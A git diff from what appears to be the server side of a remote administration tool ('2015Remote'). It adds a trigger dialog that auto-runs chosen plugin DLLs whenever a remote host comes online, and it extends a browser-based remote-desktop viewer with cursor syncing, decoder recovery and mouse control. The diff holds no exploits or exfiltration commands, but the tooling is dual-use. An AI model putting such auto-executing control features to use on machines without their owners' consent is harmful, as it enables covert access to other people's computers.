|
||||
// 只处理选中状态变化
|
||||
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
|
||||
|
||||
int nItem = pNMLV->iItem;
|
||||
if (nItem < 0) return;
|
||||
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 查找对应的触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == type) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 先取消所有勾选
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
m_listPlugins.SetCheck(i, FALSE);
|
||||
}
|
||||
|
||||
// 勾选该触发器配置的插件
|
||||
if (cfg) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : cfg->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 同步下拉框选择
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||
{
|
||||
// 先从界面收集当前选择
|
||||
int triggerType = m_comboTriggerType.GetCurSel();
|
||||
if (triggerType >= 0) {
|
||||
std::vector<std::string> selectedPlugins;
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
if (m_listPlugins.GetCheck(i)) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (dll) {
|
||||
selectedPlugins.push_back(dll->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 更新或创建触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == (TriggerType)triggerType) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!selectedPlugins.empty()) {
|
||||
if (!cfg) {
|
||||
TriggerConfig newCfg;
|
||||
newCfg.Type = (TriggerType)triggerType;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
cfg->PluginNames = selectedPlugins;
|
||||
} else if (cfg) {
|
||||
// 如果没有选中插件,删除该触发器
|
||||
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||
if (it->Type == (TriggerType)triggerType) {
|
||||
m_Configs.erase(it);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SaveTriggerConfigs(m_Configs);
|
||||
LoadTriggersToList();
|
||||
|
||||
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
|
||||
{
|
||||
std::string dbPath = GetDbPath();
|
||||
size_t pos = dbPath.find_last_of("\\/");
|
||||
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
|
||||
return dir + "triggers.json";
|
||||
}
|
||||
|
||||
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
|
||||
{
|
||||
std::vector<TriggerConfig> configs;
|
||||
std::string path = GetTriggerConfigPath();
|
||||
|
||||
std::ifstream file(path);
|
||||
if (!file.is_open()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
Json::Value root;
|
||||
Json::CharReaderBuilder builder;
|
||||
std::string errors;
|
||||
|
||||
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
if (!root.isArray()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
for (const auto& item : root) {
|
||||
TriggerConfig cfg;
|
||||
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
|
||||
|
||||
const Json::Value& plugins = item["plugins"];
|
||||
if (plugins.isArray()) {
|
||||
for (const auto& p : plugins) {
|
||||
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg.PluginNames.empty()) {
|
||||
configs.push_back(cfg);
|
||||
}
|
||||
}
|
||||
|
||||
return configs;
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
std::string path = GetTriggerConfigPath();
|
||||
|
||||
Json::Value root(Json::arrayValue);
|
||||
|
||||
for (const auto& cfg : configs) {
|
||||
Json::Value item;
|
||||
item["type"] = cfg.Type;
|
||||
|
||||
Json::Value plugins(Json::arrayValue);
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
|
||||
}
|
||||
item["plugins"] = plugins;
|
||||
|
||||
root.append(item);
|
||||
}
|
||||
|
||||
std::ofstream file(path);
|
||||
if (file.is_open()) {
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
file.close(); // 确保文件完全写入并关闭
|
||||
}
|
||||
|
||||
// 通知 TriggerManager 重新加载缓存
|
||||
TriggerManager::Instance().Reload();
|
||||
}
|
||||
|
||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
for (auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// TriggerManager 实现
|
||||
// ============================================
|
||||
|
||||
TriggerManager::TriggerManager() : m_bLoaded(false)
|
||||
{
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
TriggerManager::~TriggerManager()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void TriggerManager::LoadFromDisk()
|
||||
{
|
||||
// 不加锁,由调用者保证线程安全
|
||||
m_OnlinePlugins.clear();
|
||||
|
||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||
for (const auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE) {
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_OnlinePlugins.insert(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
m_bLoaded = true;
|
||||
}
|
||||
|
||||
void TriggerManager::Reload()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
LoadFromDisk();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
bool TriggerManager::HasOnlineTrigger()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
bool has = !m_OnlinePlugins.empty();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return has;
|
||||
}
|
||||
|
||||
std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
@@ -0,0 +1,99 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <set>
|
||||
|
||||
// 前向声明
|
||||
struct DllInfo;
|
||||
|
||||
// 触发器类型
|
||||
enum TriggerType {
|
||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||
// 后续可扩展更多类型
|
||||
};
|
||||
|
||||
// 触发器配置
|
||||
struct TriggerConfig {
|
||||
TriggerType Type; // 触发类型
|
||||
std::vector<std::string> PluginNames; // 要执行的插件名称列表
|
||||
|
||||
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
|
||||
};
|
||||
|
||||
// 触发器管理器(单例,线程安全,缓存配置)
|
||||
class TriggerManager {
|
||||
public:
|
||||
static TriggerManager& Instance() {
|
||||
static TriggerManager instance;
|
||||
return instance;
|
||||
}
|
||||
|
||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetOnlinePlugins();
|
||||
|
||||
// 重新加载配置(保存后调用)
|
||||
void Reload();
|
||||
|
||||
// 检查是否有上线触发器
|
||||
bool HasOnlineTrigger();
|
||||
|
||||
private:
|
||||
TriggerManager();
|
||||
~TriggerManager();
|
||||
TriggerManager(const TriggerManager&) = delete;
|
||||
TriggerManager& operator=(const TriggerManager&) = delete;
|
||||
|
||||
void LoadFromDisk();
|
||||
|
||||
CRITICAL_SECTION m_cs;
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
bool m_bLoaded;
|
||||
};
|
||||
|
||||
// 触发器设置对话框
|
||||
class CTriggerSettingsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
|
||||
virtual ~CTriggerSettingsDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
|
||||
|
||||
// 静态方法:加载触发器配置
|
||||
static std::vector<TriggerConfig> LoadTriggerConfigs();
|
||||
// 静态方法:保存触发器配置
|
||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetTriggerConfigPath();
|
||||
// 静态方法:获取主机上线触发器(如果存在)
|
||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedBtnSave();
|
||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
private:
|
||||
void InitControls();
|
||||
void LoadPluginsToList();
|
||||
void LoadTriggersToList();
|
||||
void UpdateTriggerDisplay();
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
|
||||
|
||||
// 控件变量
|
||||
CComboBox m_comboTriggerType;
|
||||
CListCtrl m_listPlugins;
|
||||
CListCtrl m_listTriggers;
|
||||
};
|
||||
@@ -44,7 +44,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.3.1"
|
||||
#define BRAND_VERSION "1.3.2"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -1232,6 +1232,18 @@ inline std::string GetWebPageHTML() {
|
||||
updateScreenStatus('connected');
|
||||
initDecoder(msg.width, msg.height);
|
||||
break;
|
||||
case 'cursor':
|
||||
// Update remote cursor style (only for desktop in control mode)
|
||||
currentCursorIndex = msg.index;
|
||||
if (controlEnabled && !isTouchDevice) {
|
||||
const canvas = document.getElementById('screen-canvas');
|
||||
// 254=custom cursor (not supported in web), 255=unsupported -> default
|
||||
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
|
||||
? cursorMap[msg.index]
|
||||
: 'default';
|
||||
canvas.style.cursor = cssCursor;
|
||||
}
|
||||
break;
|
||||
case 'device_offline':
|
||||
// Only handle if this is the device we're currently viewing
|
||||
if (!token) break;
|
||||
@@ -1286,6 +1298,11 @@ inline std::string GetWebPageHTML() {
|
||||
}
|
||||
|
||||
function initDecoder(width, height) {
|
||||
decoderWidth = width;
|
||||
decoderHeight = height;
|
||||
needKeyframe = false;
|
||||
decodeTimestamp = 0;
|
||||
|
||||
// Clear canvas before resizing to prevent residual content
|
||||
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
@@ -1307,6 +1324,10 @@ inline std::string GetWebPageHTML() {
|
||||
lastFrameTime = performance.now();
|
||||
decoder = new VideoDecoder({
|
||||
output: (frame) => {
|
||||
// Check if frame dimensions match canvas
|
||||
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
|
||||
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
|
||||
}
|
||||
ctx.drawImage(frame, 0, 0);
|
||||
frame.close();
|
||||
frameCount++;
|
||||
@@ -1318,7 +1339,7 @@ inline std::string GetWebPageHTML() {
|
||||
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
|
||||
}
|
||||
},
|
||||
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); }
|
||||
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
|
||||
});
|
||||
decoder.configure({
|
||||
codec: 'avc1.42E01E',
|
||||
@@ -1328,20 +1349,50 @@ inline std::string GetWebPageHTML() {
|
||||
});
|
||||
}
|
||||
|
||||
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
|
||||
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
|
||||
|
||||
function handleBinaryFrame(data) {
|
||||
if (!decoder || decoder.state !== 'configured') return;
|
||||
const view = new DataView(data);
|
||||
const deviceId = view.getUint32(0, true);
|
||||
const frameType = view.getUint8(4);
|
||||
const dataLen = view.getUint32(5, true);
|
||||
const isKeyframe = frameType === 1;
|
||||
|
||||
// If decoder is closed or errored, wait for keyframe to reinitialize
|
||||
if (!decoder || decoder.state === 'closed') {
|
||||
if (isKeyframe && decoderWidth > 0) {
|
||||
console.log('Reinitializing decoder on keyframe');
|
||||
initDecoder(decoderWidth, decoderHeight);
|
||||
needKeyframe = false;
|
||||
} else {
|
||||
needKeyframe = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (decoder.state !== 'configured') return;
|
||||
|
||||
// Skip delta frames if we need a keyframe
|
||||
if (needKeyframe && !isKeyframe) return;
|
||||
if (isKeyframe) needKeyframe = false;
|
||||
|
||||
const h264Data = new Uint8Array(data, 9, dataLen);
|
||||
try {
|
||||
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
|
||||
if (!isKeyframe && decoder.decodeQueueSize > 10) {
|
||||
needKeyframe = true; // Need keyframe to resync after skipping
|
||||
return;
|
||||
}
|
||||
decoder.decode(new EncodedVideoChunk({
|
||||
type: frameType === 1 ? 'key' : 'delta',
|
||||
timestamp: performance.now() * 1000,
|
||||
type: isKeyframe ? 'key' : 'delta',
|
||||
timestamp: decodeTimestamp++,
|
||||
data: h264Data
|
||||
}));
|
||||
} catch (e) { console.error('Decode error:', e); }
|
||||
} catch (e) {
|
||||
console.error('Decode error:', e);
|
||||
needKeyframe = true;
|
||||
}
|
||||
}
|
||||
)HTML";
|
||||
|
||||
@@ -1748,6 +1799,28 @@ inline std::string GetWebPageHTML() {
|
||||
// Control mode state (mouse/keyboard control)
|
||||
let controlEnabled = false;
|
||||
|
||||
// Remote cursor mapping (Windows cursor index -> CSS cursor)
|
||||
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
|
||||
const cursorMap = [
|
||||
'progress', // 0: IDC_APPSTARTING
|
||||
'default', // 1: IDC_ARROW
|
||||
'crosshair', // 2: IDC_CROSS
|
||||
'pointer', // 3: IDC_HAND
|
||||
'help', // 4: IDC_HELP
|
||||
'text', // 5: IDC_IBEAM
|
||||
'default', // 6: IDC_ICON (no direct CSS equivalent)
|
||||
'not-allowed', // 7: IDC_NO
|
||||
'default', // 8: IDC_SIZE (deprecated, use default)
|
||||
'move', // 9: IDC_SIZEALL
|
||||
'nesw-resize', // 10: IDC_SIZENESW
|
||||
'ns-resize', // 11: IDC_SIZENS
|
||||
'nwse-resize', // 12: IDC_SIZENWSE
|
||||
'ew-resize', // 13: IDC_SIZEWE
|
||||
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
|
||||
'wait' // 15: IDC_WAIT
|
||||
];
|
||||
let currentCursorIndex = 1; // Default: arrow
|
||||
|
||||
// Floating toolbar state
|
||||
let toolbarVisible = false;
|
||||
let toolbarHideTimer = null;
|
||||
@@ -1899,8 +1972,18 @@ inline std::string GetWebPageHTML() {
|
||||
const canvas = document.getElementById('screen-canvas');
|
||||
const cursorOverlay = document.getElementById('cursor-overlay');
|
||||
// Touch devices: hide browser cursor, show overlay (touchpad mode)
|
||||
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor)
|
||||
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default';
|
||||
// Desktop: use remote cursor style when control enabled
|
||||
if (controlEnabled && isTouchDevice) {
|
||||
canvas.style.cursor = 'none';
|
||||
} else if (controlEnabled && !isTouchDevice) {
|
||||
// Apply current remote cursor
|
||||
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
|
||||
? cursorMap[currentCursorIndex]
|
||||
: 'default';
|
||||
canvas.style.cursor = cssCursor;
|
||||
} else {
|
||||
canvas.style.cursor = 'default';
|
||||
}
|
||||
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
|
||||
}
|
||||
|
||||
@@ -2613,7 +2696,12 @@ inline std::string GetWebPageHTML() {
|
||||
sendMouse('up', pos.x, pos.y, e.button);
|
||||
});
|
||||
|
||||
// Note: dblclick is handled by mousedown-mouseup sequence, no separate handler needed
|
||||
// dblclick handler - server will forward only to macOS clients
|
||||
canvas.addEventListener('dblclick', function(e) {
|
||||
e.preventDefault();
|
||||
const pos = getMousePos(e);
|
||||
sendMouse('dblclick', pos.x, pos.y, e.button);
|
||||
});
|
||||
|
||||
canvas.addEventListener('mousemove', function(e) {
|
||||
const now = Date.now();
|
||||
@@ -2726,6 +2814,7 @@ inline std::string GetWebPageHTML() {
|
||||
if (qcMouse) qcMouse.classList.remove('active');
|
||||
document.getElementById('screen-canvas').style.cursor = 'default';
|
||||
document.getElementById('cursor-overlay').classList.remove('active');
|
||||
currentCursorIndex = 1; // Reset to default arrow
|
||||
|
||||
// Reset zoom state
|
||||
zoomState.scale = 1;
|
||||
|
||||
@@ -770,6 +770,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
|
||||
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
|
||||
msg64.wParam = MAKEWPARAM(0, wheelDelta);
|
||||
} else if (type == "dblclick") {
|
||||
// dblclick is only needed for macOS clients
|
||||
// Windows detects double-click from rapid mousedown/mouseup sequence
|
||||
context* mainCtx = m_pParentDlg->FindHost(device_id);
|
||||
if (!mainCtx) return;
|
||||
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
|
||||
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
|
||||
return; // Skip dblclick for non-macOS clients
|
||||
}
|
||||
if (button == 0) {
|
||||
msg64.message = WM_LBUTTONDBLCLK;
|
||||
msg64.wParam = MK_LBUTTON;
|
||||
@@ -1428,11 +1437,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
|
||||
|
||||
// Broadcast to all watching clients
|
||||
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||
int sent_count = 0;
|
||||
for (auto& [ws_ptr, client] : m_Clients) {
|
||||
if (client.watch_device_id == device_id) {
|
||||
SendBinary(ws_ptr, data, len);
|
||||
sent_count++;
|
||||
}
|
||||
}
|
||||
// Cache keyframe (check FrameType byte at offset 4)
|
||||
@@ -1475,6 +1482,27 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
||||
if (m_bStopping) return;
|
||||
|
||||
// Build JSON message
|
||||
Json::Value res;
|
||||
res["cmd"] = "cursor";
|
||||
res["index"] = cursor_index;
|
||||
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = "";
|
||||
std::string json = Json::writeString(builder, res);
|
||||
|
||||
// Send to all watching clients
|
||||
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||
for (auto& [ws_ptr, client] : m_Clients) {
|
||||
if (client.watch_device_id == device_id) {
|
||||
SendText(ws_ptr, json);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool CWebService::StartRemoteDesktop(uint64_t device_id) {
|
||||
if (!m_pParentDlg) return false;
|
||||
|
||||
|
||||
@@ -96,6 +96,9 @@ public:
|
||||
// Resolution change notification
|
||||
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
||||
|
||||
// Cursor change notification (called from ScreenSpyDlg)
|
||||
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
||||
|
||||
// Get count of web clients watching a device
|
||||
int GetWebClientCount(uint64_t device_id);
|
||||
|
||||
|
||||
@@ -1803,3 +1803,19 @@ IOCP
|
||||
关闭=Close
|
||||
插件设置(&S)=Plugin Settings(&S)
|
||||
代理端口 - 自启=Proxy Port - AutoRun
|
||||
; Trigger Settings Dialog - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
|
||||
触发器(&G)=Tri&gger
|
||||
触发器设置=Trigger Settings
|
||||
触发类型:=Trigger Type:
|
||||
执行动作:=Action:
|
||||
主机上线=Host Online
|
||||
插件名称=Plugin Name
|
||||
触发器=Trigger
|
||||
已配置的触发器=Configured Triggers
|
||||
添加 >>=Add >>
|
||||
<< 移除=<< Remove
|
||||
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||
请先选择至少一个插件=Please select at least one plugin
|
||||
|
||||
|
||||
@@ -1795,3 +1795,18 @@ IOCP
|
||||
关闭=關閉
|
||||
插件设置(&S)=插件设置(&S)
|
||||
代理端口 - 自启=代理端口 - 自启
|
||||
; Trigger Settings Dialog - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
|
||||
触发器(&G)=觸發器(&G)
|
||||
触发器设置=觸發器設定
|
||||
触发类型:=觸發類型:
|
||||
执行动作:=執行動作:
|
||||
主机上线=主機上線
|
||||
插件名称=外掛名稱
|
||||
触发器=觸發器
|
||||
已配置的触发器=已設定的觸發器
|
||||
添加 >>=新增 >>
|
||||
<< 移除=<< 移除
|
||||
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||
请先选择至少一个插件=請先選擇至少一個外掛
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -248,6 +248,9 @@
|
||||
#define IDB_BITMAP8 369
|
||||
#define IDB_BITMAP_CANCELSHARE 369
|
||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||
#define IDB_BITMAP_TRIGGER 372
|
||||
#define IDB_BITMAP_WEBDESKTOP 373
|
||||
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -953,6 +956,15 @@
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
|
||||
Reference in New Issue
Block a user